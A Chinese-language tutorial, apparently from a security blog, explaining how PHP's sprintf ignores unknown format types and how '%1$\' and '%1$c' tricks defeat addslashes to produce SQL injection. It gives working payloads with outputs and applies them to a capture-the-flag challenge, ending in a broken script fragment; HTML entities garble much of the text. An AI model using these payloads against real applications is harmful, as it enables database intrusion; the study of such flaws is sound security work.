格式化字符串漏洞_PHPsprintf格式化字符串漏洞

sprintf() 把百分号(%)符号替换成一个作为参数进行传递的变量&＃xff1a;

$number &＃61; 2;
$str &＃61; "Shanghai";
$txt &＃61; sprintf("There are %u million cars in %s.",$number,$str);echo $txt;?>

运行结果

There are 2 million cars in Shanghai.

定义和用法 sprintf() 函数把格式化的字符串写入变量中。

arg1、arg2、&＃43;&＃43; 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处&＃xff0c;插入 arg1&＃xff0c;在第二个 % 符号处&＃xff0c;插入 arg2&＃xff0c;依此类推。

注释&＃xff1a;如果 % 符号多于 arg 参数&＃xff0c;则您必须使用占位符。占位符位于 % 符号之后&＃xff0c;由数字和 "\$" 组成。

$number &＃61; 123;
$txt &＃61; sprintf("带有两位小数&＃xff1a;%1\$.2f
不带小数&＃xff1a;%1\$u",$number);echo $txt;?>

结果:

带有两位小数&＃xff1a;123.00
不带小数&＃xff1a;123

漏洞分析

接下来看看sprintf()的底层实现方法

switch (format[inpos]) {
case &＃39;s&＃39;:
{
zend_string * t;
zend_string * str &＃61; zval_get_tmp_string(tmp, &t);
php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);
zend_tmp_string_release(t);
break;
}
case &＃39;d&＃39;:
php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);
break;
case &＃39;u&＃39;:
php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);
break;
case &＃39;g&＃39;:
case &＃39;G&＃39;:
case &＃39;e&＃39;:
case &＃39;E&＃39;:
case &＃39;f&＃39;:
case &＃39;F&＃39;:
php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);
break;
case &＃39;c&＃39;:
php_sprintf_appendchar( & result, &outpos, (char) zval_get_long(tmp));
break;
case &＃39;o&＃39;:
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);
break;
case &＃39;x&＃39;:
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);
break;
case &＃39;X&＃39;:
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);
break;
case &＃39;b&＃39;:
php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);
break;
case &＃39;%&＃39;:
php_sprintf_appendchar( & result, &outpos, &＃39;%&＃39;);
break;
default:
break;
}

可以看到&＃xff0c; php源码中只对15种类型做了匹配&＃xff0c; 其他字符类型都直接break了&＃xff0c;php未做任何处理&＃xff0c;直接跳过&＃xff0c;所以导致了这个问题&＃xff1a;如果我们输入"%\"或者"%1$\",他会把反斜杠当做格式化字符的类型&＃xff0c;然而找不到匹配的项那么"%\","%1$\"就因为没有经过任何处理而被替换为空。

因此sprintf注入的原理就是

我们用一个15种类型之外的 "\"来代替格式字符类型让函数替换为空&＃xff0c;则“%1$\&＃39;”后面的单引号就能闭合前面的单引号&＃xff0c;以下是一些例子帮助我们更好的理解

不带占位符的

$sql&＃61;"select * from user where username&＃61;&＃39;%\&＃39; and 1&＃61;1 #&＃39;;";
$user&＃61;&＃39;admin&＃39;;echo sprintf($sql,$user);?>

运行结果&＃xff1a;

select * from user where username&＃61;&＃39;&＃39; and 1&＃61;1 #&＃39;;

注意&＃xff1a;username&＃61;&＃39;&＃39;这里是两个单引号不是双引号

带有占位符&＃xff1a; 先看不带的原样输出

and 1&＃61;1#
AND b&＃61;&＃39;and 1&＃61;1#&＃39;
SELECT * FROM t WHERE a&＃61;&＃39;admin&＃39; AND b&＃61;&＃39;and 1&＃61;1#&＃39;

进行绕过

//addslashes()函数&＃xff1a;在预定义前面加反斜杠&＃xff0c;预定义符有单引号(&＃39;)&＃xff0c;双引号(")&＃xff0c;反斜杠(\)&＃xff0c;NULL
$input &＃61; addslashes ("%1$&＃39; and 1&＃61;1#" );
$b &＃61; sprintf ("AND b&＃61;&＃39;%s&＃39;", $input );
$sql &＃61; sprintf ("SELECT * FROM t WHERE a&＃61;&＃39;%s&＃39; $b ", &＃39;admin&＃39; );
echo $sql ;
?>

对$input与$b进行了拼接

$sql &＃61; sprintf ("SELECT * FROM t WHERE a&＃61;&＃39;%s&＃39; AND b&＃61;&＃39;%1$\&＃39; and 1&＃61;1#&＃39; ", &＃39;admin&＃39; );

很明显&＃xff0c;这个句子里面的\是由addsashes为了转义单引号而加上的&＃xff0c;使用%s与%1$\类匹配admin&＃xff0c;那么admin只会出现在%s里&＃xff0c;%1$\为空 所以输出

%1$\&＃39; and 1&＃61;1#
AND b&＃61;&＃39;%1$\&＃39; and 1&＃61;1#&＃39;
SELECT * FROM t WHERE a&＃61;&＃39;admin&＃39; AND b&＃61;&＃39;&＃39; and 1&＃61;1#&＃39;

对于这个问题&＃xff0c;我们还可以这样写

$sql &＃61; sprintf ("SELECT * FROM table WHERE a&＃61;&＃39;%1$\&＃39; AND b&＃61;&＃39;%d&＃39; and 1&＃61;1#&＃39; ",&＃39;admin&＃39;);

result:

SELECT * FROM t WHERE a&＃61;&＃39;admin&＃39; AND b&＃61;&＃39;&＃39; and 1&＃61;1#&＃39;

第一个格式化处匹配时为空&＃xff0c;会让给后面的格式化匹配

以上两个例子是吃掉&＃39;\&＃39;来使得单引号逃逸出来

下面这个例子我们构造单引号

$input1 &＃61; &＃39;%1$c) OR 1 &＃61; 1 /*&＃39; ;
$input2 &＃61; 39 ;
$sql &＃61; "SELECT * FROM foo WHERE bar IN (&＃39; $input1 &＃39;) AND baz &＃61; %s" ;
echo($sql."
");
$sql &＃61; sprintf ( $sql , $input2 );
echo $sql ;

结果&＃xff1a;

SELECT * FROM foo WHERE bar IN (&＃39; %1$c) OR 1 &＃61; 1 /* &＃39;) AND baz &＃61; %s
SELECT * FROM foo WHERE bar IN (&＃39; &＃39;) OR 1 &＃61; 1 /* &＃39;) AND baz &＃61; 39

%c起到了类似chr()的效果&＃xff0c;将数字39转化为‘&＃xff0c;从而导致了sql注入。

所以结果为&＃xff1a;

SELECT * FROM foo WHERE bar IN (&＃39;&＃39;) OR 1 &＃61; 1 /*) AND baz &＃61; 39实战

i春秋的 “迎圣诞&＃xff0c;拿大奖”活动赛题 [url]https://www.ichunqiu.com/battalion?t&＃61;1&r&＃61;60469[/url]

进行fuzz时 &＃xff0c;当输入%时爆sprintf()错误

于是构造username&＃61;admin%1$\&＃39; and 1&＃61;2#与 username&＃61;admin%1$\&＃39; and 1&＃61;1# 于是写下脚本&＃xff1a;

# _*_ coding : utf-8 _*_ print chr(i)